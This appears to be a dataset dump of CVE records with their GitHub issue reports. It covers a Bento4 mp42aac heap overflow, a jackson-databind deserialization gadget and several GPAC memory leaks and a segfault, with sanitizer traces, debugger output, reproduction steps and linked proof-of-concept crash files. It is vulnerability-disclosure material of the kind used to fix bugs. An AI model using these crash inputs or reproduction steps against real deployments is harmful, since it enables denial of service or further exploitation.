#2 0x46efde in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:483
#3 0x472452 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#4 0x472452 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#5 0x40bd11 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4File.cpp:104
#6 0x40bd11 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4File.cpp:78
#7 0x402a40 in main /home/xxzs/workdir/test/Bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250
#8 0x7ffff621f83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#9 0x4045d8 in _start (/home/xxzs/workdir/test/mp42aac/mp42aac_asan+0x4045d8)
0x60200000ee71 is located 0 bytes to the right of 1-byte region [0x60200000ee70,0x60200000ee71)
allocated by thread T0 here:
#0 0x7ffff6f036b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x509235 in AP4_Stz2Atom::AP4_Stz2Atom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:101
#2 0x509ac6 in AP4_Stz2Atom::Create(unsigned int, AP4_ByteStream&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:52
#3 0x46efde in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:483
#4 0x472452 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#5 0x472452 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#6 0x40bd11 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4File.cpp:104
#7 0x40bd11 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4File.cpp:78
#8 0x402a40 in main /home/xxzs/workdir/test/Bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250
#9 0x7ffff621f83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:113 AP4_Stz2Atom::AP4_Stz2Atom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&)
Shadow bytes around the buggy address:
0x0c047fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[01]fa
0x0c047fff9dd0: fa fa fd fa fa fa 00 04 fa fa fd fa fa fa fd fa
0x0c047fff9de0: fa fa fd fa fa fa 00 04 fa fa fd fa fa fa fd fa
0x0c047fff9df0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==115490==ABORTING
[Inferior 1 (process 115490) exited with code 01]
```
The output of gdb:
```
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./mp42aac...done.
(gdb) set args /home/xxzs/workdir/test/mp42aac/out/afl-slave/crashes/id:000239,sig:06,src:000523+002959,op:splice,rep:2 /dev/null
(gdb) r
Starting program: /home/xxzs/workdir/test/mp42aac/mp42aac /home/xxzs/workdir/test/mp42aac/out/afl-slave/crashes/id:000239,sig:06,src:000523+002959,op:splice,rep:2 /dev/null
Program received signal SIGSEGV, Segmentation fault.
AP4_Stz2Atom::AP4_Stz2Atom (this=0x6b5bb0, size=<optimized out>, version=<optimized out>,
flags=<optimized out>, stream=...)
at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:113
113 m_Entries[i] = (buffer[i/2]>>4)&0x0F;
(gdb) bt
#0 AP4_Stz2Atom::AP4_Stz2Atom (this=0x6b5bb0, size=<optimized out>, version=<optimized out>,
flags=<optimized out>, stream=...)
at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:113
#1 0x000000000045b112 in AP4_Stz2Atom::Create (size=28, stream=...)
at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:52
#2 0x00000000004268b5 in AP4_AtomFactory::CreateAtomFromStream (this=0x7fffffffdc70, stream=...,
type=1937013298, size_32=28, size_64=28, atom=@0x7fffffffdc60: 0x0)
at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:483
#3 0x00000000004283c6 in AP4_AtomFactory::CreateAtomFromStream (atom=@0x7fffffffdc60: 0x0,
bytes_available=<synthetic pointer>, stream=..., this=0x7fffffffdc70)
at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#4 AP4_AtomFactory::CreateAtomFromStream (this=this@entry=0x7fffffffdc70, stream=...,
atom=@0x7fffffffdc60: 0x0) at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#5 0x0000000000403e12 in AP4_File::ParseStream (moov_only=<optimized out>, atom_factory=...,
stream=..., this=<optimized out>) at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4File.cpp:104
#6 AP4_File::AP4_File (this=0x6b5610, stream=..., moov_only=false)
at /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4File.cpp:78
#7 0x000000000040134f in main (argc=<optimized out>, argv=<optimized out>)
at /home/xxzs/workdir/test/Bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250
(gdb) list
108 m_Entries.SetItemCount((AP4_Cardinal)sample_count);
109 switch (m_FieldSize) {
110 case 4:
111 for (unsigned int i=0; i<sample_count; i++) {
112 if ((i%2) == 0) {
113 m_Entries[i] = (buffer[i/2]>>4)&0x0F;
114 } else {
115 m_Entries[i] = buffer[i/2]&0x0F;
116 }
117 }
```
## Crash input
[POC2.tar.gz](https://github.com/axiomatic-systems/Bento4/files/10095915/POC2.tar.gz)
## Validation steps
1. build the latest mp42aac
2. ./mp42aac ./POC2 /dev/null
## Environment
* Host Operating System and version: Ubuntu 16.04 LTS
* Host CPU architecture: 11th Gen Intel® Core™ i5-11500 @ 2.70GHz × 8
* gcc version: 5.4.0
|
heap-buffer-overflow in mp42aac
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/818/comments
| 0 |
2022-11-26T08:35:48Z
|
2023-05-29T02:39:18Z
|
https://github.com/axiomatic-systems/Bento4/issues/818
| 1,465,089,664 | 818 |
CVE-2020-10650
|
2022-12-26T20:15:10.433
|
A deserialization flaw was discovered in jackson-databind through 2.9.10.4. It could allow an unauthenticated user to perform code execution via ignite-jta or quartz-core: org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup, org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory, and org.quartz.utils.JNDIConnectionProvider.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/FasterXML/jackson-databind/commit/a424c038ba0c0d65e579e22001dec925902ac0ef"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/FasterXML/jackson-databind/issues/2658"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/advisories/GHSA-rpr3-cw39-3pxh"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00032.html"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://medium.com/%40cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://security.netapp.com/advisory/ntap-20230818-0007/"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpuoct2022.html"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*",
"matchCriteriaId": "238F4D80-C84C-4C96-B45D-D73ADE46A3C8",
"versionEndExcluding": null,
"versionEndIncluding": "2.9.10.4",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:oracle:retail_merchandising_system:15.0:*:*:*:*:*:*:*",
"matchCriteriaId": "792DF04A-2D1B-40B5-B960-3E7152732EB8",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:oracle:retail_sales_audit:14.1:*:*:*:*:*:*:*",
"matchCriteriaId": "7DA6E92C-AC3B-40CF-96AE-22CD8769886F",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/FasterXML/jackson-databind/issues/2658
|
[
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"FasterXML",
"jackson-databind"
] |
Another gadget type reported regarding a class of `ignite-jta`.
See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem.
Mitre id: CVE-2020-10650
Reporter: Srikanth Ramu, threedr3am'follower (2 concurrent reports)
Fix will be included in:
* 2.9.10.4
* Does not affect 2.10.0 and later
|
Block one more gadget type (ignite-jta, CVE-2020-10650)
|
https://api.github.com/repos/FasterXML/jackson-databind/issues/2658/comments
| 0 |
2020-03-15T23:59:21Z
|
2020-03-18T22:57:39Z
|
https://github.com/FasterXML/jackson-databind/issues/2658
| 581,881,392 | 2,658 |
CVE-2022-46489
|
2023-01-05T15:15:10.483
|
GPAC version 2.1-DEV-rev505-gb9577e6ad-master was discovered to contain a memory leak via the gf_isom_box_parse_ex function at box_funcs.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2328"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2328
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
A memory leak has occurred when running program MP4Box, this can reproduce on the lattest commit.
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev505-gb9577e6ad-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-build --extra-cflags=-fsanitize=address -g --extra-ldflags=-fsanitize=address -g
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB
```
git log
```
commit b9577e6ad91ef96decbcd369227ab02b2842c77f (HEAD -> master, origin/master, origin/HEAD)
Author: jeanlf <[email protected]>
Date: Fri Nov 25 16:53:55 2022 +0100
```
### Verification steps
```
export CFLAGS='-fsanitize=address -g'
export CC=/usr/bin/clang
export CXX=/usr/bin/clang++
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make
cd bin/gcc
./MP4Box -info $poc
```
### POC file
https://github.com/HotSpurzzZ/testcases/blob/main/gpac/gpac_Direct_leak_gf_isom_box_parse_ex.mp4
### AddressSanitizer output
```
$ ./MP4Box -info gpac_Direct_leak_gf_isom_box_parse_ex.mp4
[iso file] Failed to uncompress payload for box type !ssx (0x21737378)
Error opening file gpac_Direct_leak_gf_isom_box_parse_ex.mp4: BitStream Not Compliant
=================================================================
==10575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1718840668 byte(s) in 1 object(s) allocated from:
#0 0x4a186d in malloc (/root/Desktop/gpac/bin/gcc/MP4Box+0x4a186d)
#1 0x7dfc41 in gf_isom_box_parse_ex /root/Desktop/gpac/src/isomedia/box_funcs.c:166:13
#2 0x7df29c in gf_isom_parse_root_box /root/Desktop/gpac/src/isomedia/box_funcs.c:38:8
Direct leak of 4096 byte(s) in 1 object(s) allocated from:
#0 0x4a186d in malloc (/root/Desktop/gpac/bin/gcc/MP4Box+0x4a186d)
#1 0x599d69 in gf_gz_decompress_payload /root/Desktop/gpac/src/utils/base_encoding.c:257:31
#2 0x7dfc66 in gf_isom_box_parse_ex /root/Desktop/gpac/src/isomedia/box_funcs.c:170:9
#3 0x7df29c in gf_isom_parse_root_box /root/Desktop/gpac/src/isomedia/box_funcs.c:38:8
SUMMARY: AddressSanitizer: 1718844764 byte(s) leaked in 2 allocation(s).
```
|
Memory leak in gf_isom_box_parse_ex function of box_funcs.c:166:13
|
https://api.github.com/repos/gpac/gpac/issues/2328/comments
| 0 |
2022-11-28T06:47:39Z
|
2022-11-28T10:06:52Z
|
https://github.com/gpac/gpac/issues/2328
| 1,465,902,126 | 2,328 |
CVE-2022-46490
|
2023-01-05T15:15:10.527
|
GPAC version 2.1-DEV-rev505-gb9577e6ad-master was discovered to contain a memory leak via the afrt_box_read function at box_code_adobe.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2327"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2327
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
A memory leak has occurred when running program MP4Box, this can reproduce on the lattest commit.
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev505-gb9577e6ad-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-build --extra-cflags=-fsanitize=address -g --extra-ldflags=-fsanitize=address -g
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB
```
git log
```
commit b9577e6ad91ef96decbcd369227ab02b2842c77f (HEAD -> master, origin/master, origin/HEAD)
Author: jeanlf <[email protected]>
Date: Fri Nov 25 16:53:55 2022 +0100
```
### Verification steps
```
export CFLAGS='-fsanitize=address -g'
export CC=/usr/bin/clang
export CXX=/usr/bin/clang++
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make
cd bin/gcc
./MP4Box -info $poc
```
### POC file
https://github.com/HotSpurzzZ/testcases/blob/main/gpac/gpac_Direct_leak_afrt_box_read.mp4
### AddressSanitizer output
```
$ ./MP4Box -info gpac_Direct_leak_afrt_box_read.mp4
[isom] not enough bytes in box afrt: 0 left, reading 1 (file isomedia/box_code_adobe.c, line 713)
[iso file] Read Box "afrt" (start 0) failed (Invalid IsoMedia File) - skipping
Error opening file gpac_Direct_leak_afrt_box_read.mp4: Invalid IsoMedia File
=================================================================
==10525==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 24 byte(s) in 1 object(s) allocated from:
#0 0x4a186d in malloc (/root/Desktop/gpac/bin/gcc/MP4Box+0x4a186d)
#1 0x902c18 in afrt_box_read /root/Desktop/gpac/src/isomedia/box_code_adobe.c:706:35
SUMMARY: AddressSanitizer: 24 byte(s) leaked in 1 allocation(s).
```
|
Memory leak in afrt_box_read function of box_code_adobe.c:706:35
|
https://api.github.com/repos/gpac/gpac/issues/2327/comments
| 0 |
2022-11-28T06:30:26Z
|
2022-11-28T10:06:51Z
|
https://github.com/gpac/gpac/issues/2327
| 1,465,889,278 | 2,327 |
CVE-2022-47086
|
2023-01-05T15:15:10.573
|
GPAC MP4Box v2.1-DEV-rev574-g9d5bb184b contains a segmentation violation via the function gf_sm_load_init_swf at scene_manager/swf_parse.c
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2337"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2337
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
Forget to check the return value of `gf_swf_read_header` in gf_sm_load_init_swf. `gf_swf_read_header` should fall fast if error is detected.
```c
gf_swf_read_header(read);
load->ctx->scene_width = FIX2INT(read->width);
load->ctx->scene_height = FIX2INT(read->height);
load->ctx->is_pixel_metrics = 1;
```
# Verison info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile with
```
./configure --enable-sanitizer
make
```
run with poc.swf (in attachment)
```
./MP4Box import -add poc.swf
```
crash triggered
```
[TXTLoad] Unknown text format for poc.swf
Failed to connect filter fin PID poc.swf to filter txtin: Feature Not Supported
Blacklisting txtin as output from fin and retrying connections
AddressSanitizer:DEADLYSIGNAL
=================================================================
==215517==ERROR: AddressSanitizer: SEGV on unknown address 0x615100000035 (pc 0x7f022cad9afb bp 0x7ffdc954ed70 sp 0x7ffdc954dc40 T0)
==215517==The signal is caused by a READ memory access.
#0 0x7f022cad9afb in gf_sm_load_init_swf scene_manager/swf_parse.c:2667
#1 0x7f022ca5125f in gf_sm_load_init scene_manager/scene_manager.c:692
#2 0x7f022d169cea in ctxload_process filters/load_bt_xmt.c:476
#3 0x7f022cecfbcc in gf_filter_process_task filter_core/filter.c:2750
#4 0x7f022ce8faf3 in gf_fs_thread_proc filter_core/filter_session.c:1859
#5 0x7f022ce9c3ee in gf_fs_run filter_core/filter_session.c:2120
#6 0x7f022c8defd1 in gf_media_import media_tools/media_import.c:1551
#7 0x56297ebccaec in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
#8 0x56297eb813db in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4508
#9 0x56297eb813db in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
#10 0x7f0229e69d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x7f0229e69e3f in __libc_start_main_impl ../csu/libc-start.c:392
#12 0x56297eb5dcb4 in _start (/home/sumuchuan/Desktop/gpac_fuzz/gpac/bin/gcc/MP4Box+0xabcb4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV scene_manager/swf_parse.c:2667 in gf_sm_load_init_swf
==215517==ABORTING
```
# Gdb
```
Program received signal SIGSEGV, Segmentation fault.
0x00007f2d4fe54afb in gf_sm_load_init_swf (load=load@entry=0x6110000084f0) at scene_manager/swf_parse.c:2667
2667 load->ctx->scene_width = FIX2INT(read->width);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────
*RAX 0x611000008508 —▸ 0x604000002a90 —▸ 0x616000001280 ◂— 0x0
RBX 0xfffecf4d70a ◂— 0x0
RCX 0xfffecf4d6ea ◂— 0x0
RDX 0x0
*RDI 0x615100000035 ◂— 0x0
RSI 0x0
*R8 0x611000008528 ◂— 0xa9
R9 0x610000000bd0 —▸ 0x200000002 ◂— 0x0
R10 0x610000000bd4 —▸ 0x20000000002 ◂— 0x0
R11 0x610000000bd0 —▸ 0x200000002 ◂— 0x0
R12 0x6110000084f0 ◂— 9 /* '\t' */
*R13 0x6150fffffffd ◂— 0x0
*R14 0x615000013e4c —▸ 0xb40000000a9 ◂— 0x0
*R15 0x611000008508 —▸ 0x604000002a90 —▸ 0x616000001280 ◂— 0x0
*RBP 0x7fff67a6c940 —▸ 0x7fff67a6ca60 —▸ 0x7fff67a6dd60 —▸ 0x7fff67a6ddf0 —▸ 0x7fff67a6def0 ◂— ...
*RSP 0x7fff67a6b810 ◂— 0xf4dc4ae
*RIP 0x7f2d4fe54afb (gf_sm_load_init_swf+747) ◂— cvttss2si ecx, dword ptr [r13 + 0x38]
────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────
► 0x7f2d4fe54afb <gf_sm_load_init_swf+747> cvttss2si ecx, dword ptr [r13 + 0x38]
0x7f2d4fe54b01 <gf_sm_load_init_swf+753> shr rax, 3
0x7f2d4fe54b05 <gf_sm_load_init_swf+757> cmp byte ptr [rax + 0x7fff8000], 0
0x7f2d4fe54b0c <gf_sm_load_init_swf+764> jne gf_sm_load_init_swf+2550 <gf_sm_load_init_swf+2550>
0x7f2d4fe54b12 <gf_sm_load_init_swf+770> mov rsi, qword ptr [r12 + 0x18]
0x7f2d4fe54b17 <gf_sm_load_init_swf+775> test rsi, rsi
0x7f2d4fe54b1a <gf_sm_load_init_swf+778> je gf_sm_load_init_swf+2570 <gf_sm_load_init_swf+2570>
0x7f2d4fe54b20 <gf_sm_load_init_swf+784> test sil, 7
0x7f2d4fe54b24 <gf_sm_load_init_swf+788> jne gf_sm_load_init_swf+2570 <gf_sm_load_init_swf+2570>
0x7f2d4fe54b2a <gf_sm_load_init_swf+794> lea rdx, [rsi + 0x18]
0x7f2d4fe54b2e <gf_sm_load_init_swf+798> cmp rsi, -0x18
──────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────
In file: /home/sumuchuan/Desktop/gpac_fuzz/gpac/src/scene_manager/swf_parse.c
2662 read->flags = load->swf_import_flags;
2663 read->flat_limit = FLT2FIX(load->swf_flatten_limit);
2664 load->loader_priv = read;
2665
2666 gf_swf_read_header(read);
► 2667 load->ctx->scene_width = FIX2INT(read->width);
2668 load->ctx->scene_height = FIX2INT(read->height);
2669 load->ctx->is_pixel_metrics = 1;
2670
